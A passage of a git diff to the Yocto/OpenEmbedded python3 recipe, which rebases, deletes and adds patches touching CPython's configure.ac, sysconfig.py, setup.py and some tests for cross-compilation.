@@ -12,17 +13,18 @@ to do this in a more autoconf/autotools manner.
Upstream-Status: Submitted [https://github.com/python/cpython/pull/13196]
Signed-off-by: Matthias Schoepfer <matthias.schoepfer@ithinx.io>
+
---
- configure.ac | 169 ++++++---------------------------------------------
- 1 file changed, 17 insertions(+), 152 deletions(-)
+ configure.ac | 175 +++++++--------------------------------------------
+ 1 file changed, 21 insertions(+), 154 deletions(-)
diff --git a/configure.ac b/configure.ac
-index a7de901e08..a73e2de51b 100644
+index 4230ef2..ee08b1b 100644
--- a/configure.ac
+++ b/configure.ac
-@@ -727,158 +727,23 @@ fi
- MULTIARCH=$($CC --print-multiarch 2>/dev/null)
- AC_SUBST(MULTIARCH)
+@@ -718,160 +718,27 @@ then
+ fi
+
-AC_MSG_CHECKING([for the platform triplet based on compiler characteristics])
-cat >> conftest.c <<EOF
@@ -163,6 +165,8 @@ index a7de901e08..a73e2de51b 100644
- i386-gnu
-#elif defined(__APPLE__)
- darwin
+-#elif defined(__VXWORKS__)
+- vxworks
-#else
-# error unknown platform triplet
-#endif
@@ -190,12 +194,13 @@ index a7de901e08..a73e2de51b 100644
+ PLATFORM_TRIPLET=vxworks
+ ;;
+ *)
-+ PLATFORM_TRIPLET=${target_cpu}-${target_os}
++ if test "${target_cpu}" != "i686"; then
++ PLATFORM_TRIPLET=${target_cpu}-${target_os}
++ else
++ PLATFORM_TRIPLET=i386-${target_os}
++ fi
+ ;;
+esac
- if test x$PLATFORM_TRIPLET != x && test x$MULTIARCH != x; then
- if test x$PLATFORM_TRIPLET != x$MULTIARCH; then
---
-2.21.0
-
+ AC_MSG_CHECKING([for multiarch])
+ AS_CASE([$ac_sys_system],
diff --git a/meta/recipes-devtools/python/python3/0001-distutils-sysconfig-append-STAGING_LIBDIR-python-sys.patch b/meta/recipes-devtools/python/python3/0001-distutils-sysconfig-append-STAGING_LIBDIR-python-sys.patch
index 1709011be8..3c62c2acb8 100644
--- a/meta/recipes-devtools/python/python3/0001-distutils-sysconfig-append-STAGING_LIBDIR-python-sys.patch
+++ b/meta/recipes-devtools/python/python3/0001-distutils-sysconfig-append-STAGING_LIBDIR-python-sys.patch
@@ -1,4 +1,4 @@
-From eff903c600f4c40f5753e95ab1557126fc6e0c9c Mon Sep 17 00:00:00 2001
+From 78dd1def953e18e7cda0325bb26d27c051bb6890 Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Thu, 31 Jan 2019 16:46:30 +0100
Subject: [PATCH] distutils/sysconfig: append
@@ -10,28 +10,14 @@ Upstream-Status: Inappropriate [oe-core specific]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
---
- Lib/distutils/sysconfig.py | 2 ++
- Lib/sysconfig.py | 2 ++
- 2 files changed, 4 insertions(+)
+ Lib/sysconfig.py | 2 ++
+ 1 file changed, 2 insertions(+)
-diff --git a/Lib/distutils/sysconfig.py b/Lib/distutils/sysconfig.py
-index 0a034ee..3dfd0a3 100644
---- a/Lib/distutils/sysconfig.py
-+++ b/Lib/distutils/sysconfig.py
-@@ -439,6 +439,8 @@ def _init_posix():
- platform=sys.platform,
- multiarch=getattr(sys.implementation, '_multiarch', ''),
- ))
-+ if 'STAGING_LIBDIR' in os.environ:
-+ sys.path.append(os.environ['STAGING_LIBDIR']+'/python-sysconfigdata')
- _temp = __import__(name, globals(), locals(), ['build_time_vars'], 0)
- build_time_vars = _temp.build_time_vars
- global _config_vars
diff --git a/Lib/sysconfig.py b/Lib/sysconfig.py
-index 87fa5e6..756a41c 100644
+index 40c6b3e..ac94cc7 100644
--- a/Lib/sysconfig.py
+++ b/Lib/sysconfig.py
-@@ -419,6 +419,8 @@ def _init_posix(vars):
+@@ -474,6 +474,8 @@ def _init_posix(vars):
"""Initialize the module as appropriate for POSIX systems."""
# _sysconfigdata is generated at build time, see _generate_posix_vars()
name = _get_sysconfigdata_name()
diff --git a/meta/recipes-devtools/python/python3/0001-main.c-if-OEPYTHON3HOME-is-set-use-instead-of-PYTHON.patch b/meta/recipes-devtools/python/python3/0001-main.c-if-OEPYTHON3HOME-is-set-use-instead-of-PYTHON.patch
deleted file mode 100644
index a146c747f8..0000000000
--- a/meta/recipes-devtools/python/python3/0001-main.c-if-OEPYTHON3HOME-is-set-use-instead-of-PYTHON.patch
+++ /dev/null
@@ -1,47 +0,0 @@
-From 5ce3ac59531828ff682646fbba59b2126b28a8aa Mon Sep 17 00:00:00 2001
-From: Jaewon Lee <jaewon.lee@xilinx.com>
-Date: Thu, 25 Apr 2019 15:34:26 -0700
-Subject: [PATCH] main.c: if OEPYTHON3HOME is set use instead of PYTHONHOME
-
-There is one variable PYTHONHOME to determine where libraries are coming
-from for both python2 and python3. This becomes an issue if only one has
-libraries in the specified PYTHONHOME path, but they are using the same
-PYTHONHOME. Creating another variable OEPYTHON3HOME to allow for a way
-to set a different path for python3
-
-Signed-off-by: Jaewon Lee <jaewon.lee@xilinx.com>
-
-Upstream-Status: Inappropriate [OE specific configuration]
-
----
- Modules/main.c | 17 +++++++++++++----
- 1 file changed, 13 insertions(+), 4 deletions(-)
-
-diff --git a/Modules/main.c b/Modules/main.c
-index acc59c6..407085a 100644
---- a/Modules/main.c
-+++ b/Modules/main.c
-@@ -1834,10 +1834,19 @@ config_init_home(_PyCoreConfig *config)
- }
- return _Py_INIT_OK();
- }
--
-- int res = config_get_env_var_dup(&home, L"PYTHONHOME", "PYTHONHOME");
-- if (res < 0) {
-- return DECODE_LOCALE_ERR("PYTHONHOME", res);
-+ int res;
-+ const char *oepython3home = config_get_env_var("OEPYTHON3HOME");
-+ if (oepython3home) {
-+ res = config_get_env_var_dup(&home, L"OEPYTHON3HOME", "OEPYTHON3HOME");
-+ if (res < 0) {
-+ return DECODE_LOCALE_ERR("OEPYTHON3HOME", res);
-+ }
-+ }
-+ else {
-+ res = config_get_env_var_dup(&home, L"PYTHONHOME", "PYTHONHOME");
-+ if (res < 0) {
-+ return DECODE_LOCALE_ERR("PYTHONHOME", res);
-+ }
- }
- config->home = home;
- return _Py_INIT_OK();
diff --git a/meta/recipes-devtools/python/python3/0001-python3-use-cc_basename-to-replace-CC-for-checking-c.patch b/meta/recipes-devtools/python/python3/0001-python3-use-cc_basename-to-replace-CC-for-checking-c.patch
index a0ea897f4e..6bb85fcb34 100644
--- a/meta/recipes-devtools/python/python3/0001-python3-use-cc_basename-to-replace-CC-for-checking-c.patch
+++ b/meta/recipes-devtools/python/python3/0001-python3-use-cc_basename-to-replace-CC-for-checking-c.patch
@@ -1,4 +1,4 @@
-From 2645317fef09afe31b01bb2c1d4fe5b9afdbb11a Mon Sep 17 00:00:00 2001
+From 9f68a27eb34394a00f1011c06900c609f15fb15c Mon Sep 17 00:00:00 2001
From: Changqing Li <changqing.li@windriver.com>
Date: Mon, 22 Oct 2018 15:19:51 +0800
Subject: [PATCH] python3: use cc_basename to replace CC for checking compiler
@@ -21,15 +21,16 @@ Signed-off-by: Li Zhou <li.zhou@windriver.com>
patch originally from Li Zhou, I just rework it to new version
Signed-off-by: Changqing Li <changqing.li@windriver.com>
+
---
configure.ac | 19 ++++++++++---------
1 file changed, 10 insertions(+), 9 deletions(-)
diff --git a/configure.ac b/configure.ac
-index a7de901..4a3681f 100644
+index 0c06914..299786b 100644
--- a/configure.ac
+++ b/configure.ac
-@@ -54,6 +54,7 @@ AC_CONFIG_HEADER(pyconfig.h)
+@@ -61,6 +61,7 @@ AC_CONFIG_HEADER(pyconfig.h)
AC_CANONICAL_HOST
AC_SUBST(build)
AC_SUBST(host)
@@ -37,7 +38,7 @@ index a7de901..4a3681f 100644
# pybuilddir.txt will be created by --generate-posix-vars in the Makefile
rm -f pybuilddir.txt
-@@ -695,7 +696,7 @@ AC_MSG_RESULT($with_cxx_main)
+@@ -688,7 +689,7 @@ AC_MSG_RESULT($with_cxx_main)
preset_cxx="$CXX"
if test -z "$CXX"
then
@@ -46,7 +47,7 @@ index a7de901..4a3681f 100644
gcc) AC_PATH_TOOL(CXX, [g++], [g++], [notfound]) ;;
cc) AC_PATH_TOOL(CXX, [c++], [c++], [notfound]) ;;
clang|*/clang) AC_PATH_TOOL(CXX, [clang++], [clang++], [notfound]) ;;
-@@ -979,7 +980,7 @@ rmdir CaseSensitiveTestDir
+@@ -976,7 +977,7 @@ rmdir CaseSensitiveTestDir
case $ac_sys_system in
hp*|HP*)
@@ -55,7 +56,7 @@ index a7de901..4a3681f 100644
cc|*/cc) CC="$CC -Ae";;
esac;;
esac
-@@ -1336,7 +1337,7 @@ else
+@@ -1374,7 +1375,7 @@ else
fi],
[AC_MSG_RESULT(no)])
if test "$Py_LTO" = 'true' ; then
@@ -64,7 +65,7 @@ index a7de901..4a3681f 100644
*clang*)
AC_SUBST(LLVM_AR)
AC_PATH_TOOL(LLVM_AR, llvm-ar, '', ${llvm_path})
-@@ -1426,7 +1427,7 @@ then
+@@ -1467,7 +1468,7 @@ then
fi
fi
LLVM_PROF_ERR=no
@@ -73,16 +74,16 @@ index a7de901..4a3681f 100644
*clang*)
# Any changes made here should be reflected in the GCC+Darwin case below
PGO_PROF_GEN_FLAG="-fprofile-instr-generate"
-@@ -1500,7 +1501,7 @@ then
- WRAP="-fwrapv"
- fi
+@@ -1528,7 +1529,7 @@ esac
+ # compiler and platform. BASECFLAGS tweaks need to be made even if the
+ # user set OPT.
-- case $CC in
-+ case $cc_basename in
- *clang*)
- cc_is_clang=1
- ;;
-@@ -1623,7 +1624,7 @@ yes)
+-case $CC in
++case $cc_basename in
+ *clang*)
+ cc_is_clang=1
+ ;;
+@@ -1664,7 +1665,7 @@ yes)
# ICC doesn't recognize the option, but only emits a warning
## XXX does it emit an unused result warning and can it be disabled?
@@ -91,16 +92,16 @@ index a7de901..4a3681f 100644
*icc*)
ac_cv_disable_unused_result_warning=no
;;
-@@ -1965,7 +1966,7 @@ yes)
+@@ -2018,7 +2019,7 @@ yes)
+ ;;
esac
- # ICC needs -fp-model strict or floats behave badly
-case "$CC" in
+case "$cc_basename" in
*icc*)
+ # ICC needs -fp-model strict or floats behave badly
CFLAGS_NODIST="$CFLAGS_NODIST -fp-model strict"
- ;;
-@@ -2727,7 +2728,7 @@ then
+@@ -2836,7 +2837,7 @@ then
then
LINKFORSHARED="-Wl,--export-dynamic"
fi;;
@@ -109,7 +110,7 @@ index a7de901..4a3681f 100644
*gcc*)
if $CC -Xlinker --help 2>&1 | grep export-dynamic >/dev/null
then
-@@ -5429,7 +5430,7 @@ if test "$have_gcc_asm_for_x87" = yes; then
+@@ -5622,7 +5623,7 @@ if test "$have_gcc_asm_for_x87" = yes; then
# Some versions of gcc miscompile inline asm:
# http://gcc.gnu.org/bugzilla/show_bug.cgi?id=46491
# http://gcc.gnu.org/ml/gcc/2010-11/msg00366.html
diff --git a/meta/recipes-devtools/python/python3/0001-sysconfig.py-use-platlibdir-also-for-purelib.patch b/meta/recipes-devtools/python/python3/0001-sysconfig.py-use-platlibdir-also-for-purelib.patch
new file mode 100644
index 0000000000..4fb63a9b7a
--- /dev/null
+++ b/meta/recipes-devtools/python/python3/0001-sysconfig.py-use-platlibdir-also-for-purelib.patch
@@ -0,0 +1,28 @@
+From 9162460d81ccc725fb04a14b27d0bf4afcfb69c9 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Sun, 12 Sep 2021 21:44:36 +0200
+Subject: [PATCH] sysconfig.py: use platlibdir also for purelib
+
+This is needed in multilib configurations where hardcoding 'lib'
+is not correct.
+
+Upstream-Status: Inappropriate [oe-core specific]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+
+---
+ Lib/sysconfig.py | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/Lib/sysconfig.py b/Lib/sysconfig.py
+index daf9f00..e64bcdc 100644
+--- a/Lib/sysconfig.py
++++ b/Lib/sysconfig.py
+@@ -27,7 +27,7 @@ _INSTALL_SCHEMES = {
+ 'posix_prefix': {
+ 'stdlib': '{installed_base}/{platlibdir}/python{py_version_short}',
+ 'platstdlib': '{platbase}/{platlibdir}/python{py_version_short}',
+- 'purelib': '{base}/lib/python{py_version_short}/site-packages',
++ 'purelib': '{base}/{platlibdir}/python{py_version_short}/site-packages',
+ 'platlib': '{platbase}/{platlibdir}/python{py_version_short}/site-packages',
+ 'include':
+ '{installed_base}/include/python{py_version_short}{abiflags}',
diff --git a/meta/recipes-devtools/python/python3/0001-test_ctypes.test_find-skip-without-tools-sdk.patch b/meta/recipes-devtools/python/python3/0001-test_ctypes.test_find-skip-without-tools-sdk.patch
new file mode 100644
index 0000000000..371021c0a9
--- /dev/null
+++ b/meta/recipes-devtools/python/python3/0001-test_ctypes.test_find-skip-without-tools-sdk.patch
@@ -0,0 +1,34 @@
+From 13aa6449c47980c7270dad2527c3911517bf34e6 Mon Sep 17 00:00:00 2001
+From: Tim Orling <timothy.t.orling@intel.com>
+Date: Fri, 18 Jun 2021 11:56:50 -0700
+Subject: [PATCH] test_ctypes.test_find: skip without tools-sdk
+
+These tests need full packagegroup-core-buildessential, the
+easiest way to dynamically check for that is looking for
+'tools-sdk' in IMAGE_FEATURES.
+
+Upstream-Status: Inappropriate [oe-specific]
+
+Signed-off-by: Tim Orling <timothy.t.orlign@intel.com>
+
+---
+ Lib/ctypes/test/test_find.py | 2 ++
+ 1 file changed, 2 insertions(+)
+
+diff --git a/Lib/ctypes/test/test_find.py b/Lib/ctypes/test/test_find.py
+index 1ff9d01..59def26 100644
+--- a/Lib/ctypes/test/test_find.py
++++ b/Lib/ctypes/test/test_find.py
+@@ -113,10 +113,12 @@ class FindLibraryLinux(unittest.TestCase):
+ # LD_LIBRARY_PATH)
+ self.assertEqual(find_library(libname), 'lib%s.so' % libname)
+
++ @unittest.skip("Needs IMAGE_FEATURE += \"tools-sdk\"")
+ def test_find_library_with_gcc(self):
+ with unittest.mock.patch("ctypes.util._findSoname_ldconfig", lambda *args: None):
+ self.assertNotEqual(find_library('c'), None)
+
++ @unittest.skip("Needs IMAGE_FEATURE += \"tools-sdk\"")
+ def test_find_library_with_ld(self):
+ with unittest.mock.patch("ctypes.util._findSoname_ldconfig", lambda *args: None), \
+ unittest.mock.patch("ctypes.util._findLib_gcc", lambda *args: None):
diff --git a/meta/recipes-devtools/python/python3/0001-test_locale.py-correct-the-test-output-format.patch b/meta/recipes-devtools/python/python3/0001-test_locale.py-correct-the-test-output-format.patch
index 35b7e0c480..c762f98307 100644
--- a/meta/recipes-devtools/python/python3/0001-test_locale.py-correct-the-test-output-format.patch
+++ b/meta/recipes-devtools/python/python3/0001-test_locale.py-correct-the-test-output-format.patch
@@ -1,4 +1,4 @@
-From b94995e0c694ec9561efec0d1a59b323340e6105 Mon Sep 17 00:00:00 2001
+From 46856e692377d21be3562f6f90c242f5c9594ae2 Mon Sep 17 00:00:00 2001
From: Mingli Yu <mingli.yu@windriver.com>
Date: Mon, 5 Aug 2019 15:57:39 +0800
Subject: [PATCH] test_locale.py: correct the test output format
@@ -23,24 +23,24 @@ Before this patch:
Upstream-Status: Submitted [https://github.com/python/cpython/pull/15132]
+Rebased for 3.9.4, still not accepted upstream Signed-off-by: Alejandro Hernandez <alejandro@enedino.org>
+
Signed-off-by: Mingli Yu <mingli.yu@windriver.com>
+
---
Lib/test/test_locale.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/Lib/test/test_locale.py b/Lib/test/test_locale.py
-index e2c2178..558d63c 100644
+index f844e62..04df0c2 100644
--- a/Lib/test/test_locale.py
+++ b/Lib/test/test_locale.py
-@@ -527,7 +527,7 @@ class TestMiscellaneous(unittest.TestCase):
+@@ -564,7 +564,7 @@ class TestMiscellaneous(unittest.TestCase):
self.skipTest('test needs Turkish locale')
loc = locale.getlocale(locale.LC_CTYPE)
if verbose:
- print('testing with %a' % (loc,), end=' ', flush=True)
+ print('testing with %a...' % (loc,), end=' ', flush=True)
- locale.setlocale(locale.LC_CTYPE, loc)
- self.assertEqual(loc, locale.getlocale(locale.LC_CTYPE))
-
---
-2.7.4
-
+ try:
+ locale.setlocale(locale.LC_CTYPE, loc)
+ except locale.Error as exc:
diff --git a/meta/recipes-devtools/python/python3/0002-Don-t-do-runtime-test-to-get-float-byte-order.patch b/meta/recipes-devtools/python/python3/0002-Don-t-do-runtime-test-to-get-float-byte-order.patch
deleted file mode 100644
index 3721e7c2aa..0000000000
--- a/meta/recipes-devtools/python/python3/0002-Don-t-do-runtime-test-to-get-float-byte-order.patch
+++ /dev/null
@@ -1,199 +0,0 @@
-From fa96a7fd19e17b9c6b4dd01c3c3774fb382dddc6 Mon Sep 17 00:00:00 2001
-From: Ross Burton <ross.burton@intel.com>
-Date: Wed, 5 Sep 2018 11:45:52 +0100
-Subject: [PATCH] Don't do runtime test to get float byte order
-
-Python uses AC_RUN_IFELSE to determine the byte order for floats and doubles,
-and falls back onto "I don't know" if it can't run code. This results in
-crippled floating point numbers in Python, and the regression tests fail.
-
-Instead of running code, take a macro from autoconf-archive which compiles C
-with a special double in which has an ASCII representation, and then greps the
-binary to identify the format.
-
-Upstream-Status: Submitted [https://bugs.python.org/issue34585]
-Signed-off-by: Ross Burton <ross.burton@intel.com>
----
- configure.ac | 72 +++------------------------
- m4/ax_c_float_words_bigendian.m4 | 83 ++++++++++++++++++++++++++++++++
- 2 files changed, 90 insertions(+), 65 deletions(-)
- create mode 100644 m4/ax_c_float_words_bigendian.m4
-
-diff --git a/configure.ac b/configure.ac
-index 4a3681f..4ab19a6 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -4328,77 +4328,19 @@ fi
- # * Check for various properties of floating point *
- # **************************************************
-
--AC_MSG_CHECKING(whether C doubles are little-endian IEEE 754 binary64)
--AC_CACHE_VAL(ac_cv_little_endian_double, [
--AC_RUN_IFELSE([AC_LANG_SOURCE([[
--#include <string.h>
--int main() {
-- double x = 9006104071832581.0;
-- if (memcmp(&x, "\x05\x04\x03\x02\x01\xff\x3f\x43", 8) == 0)
-- return 0;
-- else
-- return 1;
--}
--]])],
--[ac_cv_little_endian_double=yes],
--[ac_cv_little_endian_double=no],
--[ac_cv_little_endian_double=no])])
--AC_MSG_RESULT($ac_cv_little_endian_double)
--if test "$ac_cv_little_endian_double" = yes
--then
-- AC_DEFINE(DOUBLE_IS_LITTLE_ENDIAN_IEEE754, 1,
-- [Define if C doubles are 64-bit IEEE 754 binary format, stored
-- with the least significant byte first])
--fi
--
--AC_MSG_CHECKING(whether C doubles are big-endian IEEE 754 binary64)
--AC_CACHE_VAL(ac_cv_big_endian_double, [
--AC_RUN_IFELSE([AC_LANG_SOURCE([[
--#include <string.h>
--int main() {
-- double x = 9006104071832581.0;
-- if (memcmp(&x, "\x43\x3f\xff\x01\x02\x03\x04\x05", 8) == 0)
-- return 0;
-- else
-- return 1;
--}
--]])],
--[ac_cv_big_endian_double=yes],
--[ac_cv_big_endian_double=no],
--[ac_cv_big_endian_double=no])])
--AC_MSG_RESULT($ac_cv_big_endian_double)
--if test "$ac_cv_big_endian_double" = yes
-+AX_C_FLOAT_WORDS_BIGENDIAN
-+if test "$ax_cv_c_float_words_bigendian" = "yes"
- then
- AC_DEFINE(DOUBLE_IS_BIG_ENDIAN_IEEE754, 1,
- [Define if C doubles are 64-bit IEEE 754 binary format, stored
- with the most significant byte first])
--fi
--
--# Some ARM platforms use a mixed-endian representation for doubles.
--# While Python doesn't currently have full support for these platforms
--# (see e.g., issue 1762561), we can at least make sure that float <-> string
--# conversions work.
--AC_MSG_CHECKING(whether C doubles are ARM mixed-endian IEEE 754 binary64)
--AC_CACHE_VAL(ac_cv_mixed_endian_double, [
--AC_RUN_IFELSE([AC_LANG_SOURCE([[
--#include <string.h>
--int main() {
-- double x = 9006104071832581.0;
-- if (memcmp(&x, "\x01\xff\x3f\x43\x05\x04\x03\x02", 8) == 0)
-- return 0;
-- else
-- return 1;
--}
--]])],
--[ac_cv_mixed_endian_double=yes],
--[ac_cv_mixed_endian_double=no],
--[ac_cv_mixed_endian_double=no])])
--AC_MSG_RESULT($ac_cv_mixed_endian_double)
--if test "$ac_cv_mixed_endian_double" = yes
-+elif test "$ax_cv_c_float_words_bigendian" = "no"
- then
-- AC_DEFINE(DOUBLE_IS_ARM_MIXED_ENDIAN_IEEE754, 1,
-+ AC_DEFINE(DOUBLE_IS_LITTLE_ENDIAN_IEEE754, 1,
- [Define if C doubles are 64-bit IEEE 754 binary format, stored
-- in ARM mixed-endian order (byte order 45670123)])
-+ with the least significant byte first])
-+else
-+ AC_MSG_ERROR([Cannot identify floating point byte order])
- fi
-
- # The short float repr introduced in Python 3.1 requires the
-diff --git a/m4/ax_c_float_words_bigendian.m4 b/m4/ax_c_float_words_bigendian.m4
-new file mode 100644
-index 0000000..216b90d
---- /dev/null
-+++ b/m4/ax_c_float_words_bigendian.m4
-@@ -0,0 +1,83 @@
-+# ===============================================================================
-+# https://www.gnu.org/software/autoconf-archive/ax_c_float_words_bigendian.html
-+# ===============================================================================
-+#
-+# SYNOPSIS
-+#
-+# AX_C_FLOAT_WORDS_BIGENDIAN([ACTION-IF-TRUE], [ACTION-IF-FALSE], [ACTION-IF-UNKNOWN])
-+#
-+# DESCRIPTION
-+#
-+# Checks the ordering of words within a multi-word float. This check is
-+# necessary because on some systems (e.g. certain ARM systems), the float
-+# word ordering can be different from the byte ordering. In a multi-word
-+# float context, "big-endian" implies that the word containing the sign
-+# bit is found in the memory location with the lowest address. This
-+# implementation was inspired by the AC_C_BIGENDIAN macro in autoconf.
-+#
-+# The endianness is detected by first compiling C code that contains a
-+# special double float value, then grepping the resulting object file for
-+# certain strings of ASCII values. The double is specially crafted to have
-+# a binary representation that corresponds with a simple string. In this
-+# implementation, the string "noonsees" was selected because the
-+# individual word values ("noon" and "sees") are palindromes, thus making
-+# this test byte-order agnostic. If grep finds the string "noonsees" in
-+# the object file, the target platform stores float words in big-endian
-+# order. If grep finds "seesnoon", float words are in little-endian order.
-+# If neither value is found, the user is instructed to specify the
-+# ordering.
-+#
-+# LICENSE
-+#
-+# Copyright (c) 2008 Daniel Amelang <dan@amelang.net>
-+#
-+# Copying and distribution of this file, with or without modification, are
-+# permitted in any medium without royalty provided the copyright notice
-+# and this notice are preserved. This file is offered as-is, without any
-+# warranty.
-+
-+#serial 11
-+
-+AC_DEFUN([AX_C_FLOAT_WORDS_BIGENDIAN],
-+ [AC_CACHE_CHECK(whether float word ordering is bigendian,
-+ ax_cv_c_float_words_bigendian, [
-+
-+ax_cv_c_float_words_bigendian=unknown
-+AC_COMPILE_IFELSE([AC_LANG_SOURCE([[
-+
-+double d = 90904234967036810337470478905505011476211692735615632014797120844053488865816695273723469097858056257517020191247487429516932130503560650002327564517570778480236724525140520121371739201496540132640109977779420565776568942592.0;
-+
-+]])], [
-+
-+if grep noonsees conftest.$ac_objext >/dev/null ; then
-+ ax_cv_c_float_words_bigendian=yes
-+fi
-+if grep seesnoon conftest.$ac_objext >/dev/null ; then
-+ if test "$ax_cv_c_float_words_bigendian" = unknown; then
-+ ax_cv_c_float_words_bigendian=no
-+ else
-+ ax_cv_c_float_words_bigendian=unknown
-+ fi
-+fi
-+
-+])])
-+
-+case $ax_cv_c_float_words_bigendian in
-+ yes)
-+ m4_default([$1],
-+ [AC_DEFINE([FLOAT_WORDS_BIGENDIAN], 1,
-+ [Define to 1 if your system stores words within floats
-+ with the most significant word first])]) ;;
-+ no)
-+ $2 ;;
-+ *)
-+ m4_default([$3],
-+ [AC_MSG_ERROR([
-+
-+Unknown float word ordering. You need to manually preset
-+ax_cv_c_float_words_bigendian=no (or yes) according to your system.
-+
-+ ])]) ;;
-+esac
-+
-+])# AX_C_FLOAT_WORDS_BIGENDIAN
diff --git a/meta/recipes-devtools/python/python3/0003-setup.py-pass-missing-libraries-to-Extension-for-mul.patch b/meta/recipes-devtools/python/python3/0003-setup.py-pass-missing-libraries-to-Extension-for-mul.patch
deleted file mode 100644
index b9d5bc9c51..0000000000
--- a/meta/recipes-devtools/python/python3/0003-setup.py-pass-missing-libraries-to-Extension-for-mul.patch
+++ /dev/null
@@ -1,80 +0,0 @@
-From b881a79adcd4ae5ac8fe4f49d0fc77c47f777919 Mon Sep 17 00:00:00 2001
-From: Hongxu Jia <hongxu.jia@windriver.com>
-Date: Fri, 4 Aug 2017 11:16:14 +0800
-Subject: [PATCH] setup.py: pass missing libraries to Extension for
- multiprocessing module
-
-In the following commit:
-...
-commit e711cafab13efc9c1fe6c5cd75826401445eb585
-Author: Benjamin Peterson <benjamin@python.org>
-Date: Wed Jun 11 16:44:04 2008 +0000
-
- Merged revisions 64104,64117 via svnmerge from
- svn+ssh://pythondev@svn.python.org/python/trunk
-...
-(see diff in setup.py)
-It assigned libraries for multiprocessing module according
-the host_platform, but not pass it to Extension.
-
-In glibc, the following commit caused two definition of
-sem_getvalue are different.
-https://sourceware.org/git/?p=glibc.git;a=commit;h=042e1521c794a945edc43b5bfa7e69ad70420524
-(see diff in nptl/sem_getvalue.c for detail)
-`__new_sem_getvalue' is the latest sem_getvalue@@GLIBC_2.1
-and `__old_sem_getvalue' is to compat the old version
-sem_getvalue@GLIBC_2.0.
-
-To build python for embedded Linux systems:
-http://www.yoctoproject.org/docs/2.3.1/yocto-project-qs/yocto-project-qs.html
-If not explicitly link to library pthread (-lpthread), it will
-load glibc's sem_getvalue randomly at runtime.
-
-Such as build python on linux x86_64 host and run the python
-on linux x86_32 target. If not link library pthread, it caused
-multiprocessing bounded semaphore could not work correctly.
-...
->>> import multiprocessing
->>> pool_sema = multiprocessing.BoundedSemaphore(value=1)
->>> pool_sema.acquire()
-True
->>> pool_sema.release()
-Traceback (most recent call last):
- File "<stdin>", line 1, in <module>
-ValueError: semaphore or lock released too many times
-...
-
-And the semaphore issue also caused multiprocessing.Queue().put() hung.
-
-Upstream-Status: Submitted [https://github.com/python/cpython/pull/2999]
-
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- setup.py | 7 +++++--
- 1 file changed, 5 insertions(+), 2 deletions(-)
-
-diff --git a/setup.py b/setup.py
-index b7a36a6..658ead3 100644
---- a/setup.py
-+++ b/setup.py
-@@ -1584,8 +1584,10 @@ class PyBuildExt(build_ext):
- elif host_platform.startswith('netbsd'):
- macros = dict()
- libraries = []
--
-- else: # Linux and other unices
-+ elif host_platform.startswith(('linux')):
-+ macros = dict()
-+ libraries = ['pthread']
-+ else: # Other unices
- macros = dict()
- libraries = ['rt']
-
-@@ -1603,6 +1605,7 @@ class PyBuildExt(build_ext):
-
- exts.append ( Extension('_multiprocessing', multiprocessing_srcs,
- define_macros=list(macros.items()),
-+ libraries=libraries,
- include_dirs=["Modules/_multiprocessing"]))
- # End multiprocessing
-
diff --git a/meta/recipes-devtools/python/python3/0017-setup.py-do-not-report-missing-dependencies-for-disa.patch b/meta/recipes-devtools/python/python3/0017-setup.py-do-not-report-missing-dependencies-for-disa.patch
index c15295c034..0ead57e465 100644
--- a/meta/recipes-devtools/python/python3/0017-setup.py-do-not-report-missing-dependencies-for-disa.patch
+++ b/meta/recipes-devtools/python/python3/0017-setup.py-do-not-report-missing-dependencies-for-disa.patch
@@ -1,4 +1,4 @@
-From e3b59cb9658e1d3efa3535840939a0fa92a70a5a Mon Sep 17 00:00:00 2001
+From 246c5ffe75a2d494e415d8a7522df9fe22056d41 Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Mon, 7 Oct 2019 13:22:14 +0200
Subject: [PATCH] setup.py: do not report missing dependencies for disabled
@@ -10,22 +10,29 @@ build completeness checker which relies on the report.
Upstream-Status: Inappropriate [oe-core specific]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+Signed-off-by: Martin Jansa <Martin.Jansa@gmail.com>
+Signed-off-by: Alejandro Hernandez Samaniego <alejandro@enedino.org>
+
---
- setup.py | 4 ++++
- 1 file changed, 4 insertions(+)
+ setup.py | 8 ++++++++
+ 1 file changed, 8 insertions(+)
diff --git a/setup.py b/setup.py
-index 4b53668..0097643 100644
+index 2be4738..62f0e18 100644
--- a/setup.py
+++ b/setup.py
-@@ -365,6 +365,10 @@ class PyBuildExt(build_ext):
+@@ -517,6 +517,14 @@ class PyBuildExt(build_ext):
print("%-*s %-*s %-*s" % (longest, e, longest, f,
longest, g))
+ # There is no need to report missing module dependencies,
+ # if the modules have been disabled in the first place.
-+ missing = list(set(missing) - set(sysconf_dis))
++ # cannot use mods_disabled here, because remove_configured_extensions adds
++ # only disabled extensions into it (doesn't cover _dbm, _gdbm, readline
++ # we support disabling through PACKAGECONFIG)
++ sysconf_dis = sysconfig.get_config_var('MODDISABLED_NAMES').split()
++ self.missing = list(set(self.missing) - set(sysconf_dis))
+
- if missing:
+ if self.missing:
print()
print("Python build finished successfully!")
diff --git a/meta/recipes-devtools/python/python3/0020-configure.ac-setup.py-do-not-add-a-curses-include-pa.patch b/meta/recipes-devtools/python/python3/0020-configure.ac-setup.py-do-not-add-a-curses-include-pa.patch
new file mode 100644
index 0000000000..30d2906439
--- /dev/null
+++ b/meta/recipes-devtools/python/python3/0020-configure.ac-setup.py-do-not-add-a-curses-include-pa.patch
@@ -0,0 +1,49 @@
+From 788cd0464ee2b175493a0167ceee8c0045ce323c Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Sun, 16 Feb 2020 17:50:25 +0100
+Subject: [PATCH] configure.ac, setup.py: do not add a curses include path from
+ the host
+
+This leads to host contamination, and particularly can cause
+curses modules to fail at runtime if the host curses is configured
+differently to native curses (observed on current OpenSuse Tumbleweed
+as dnf failures).
+
+Upstream-Status: Inappropriate [oe-core specific]
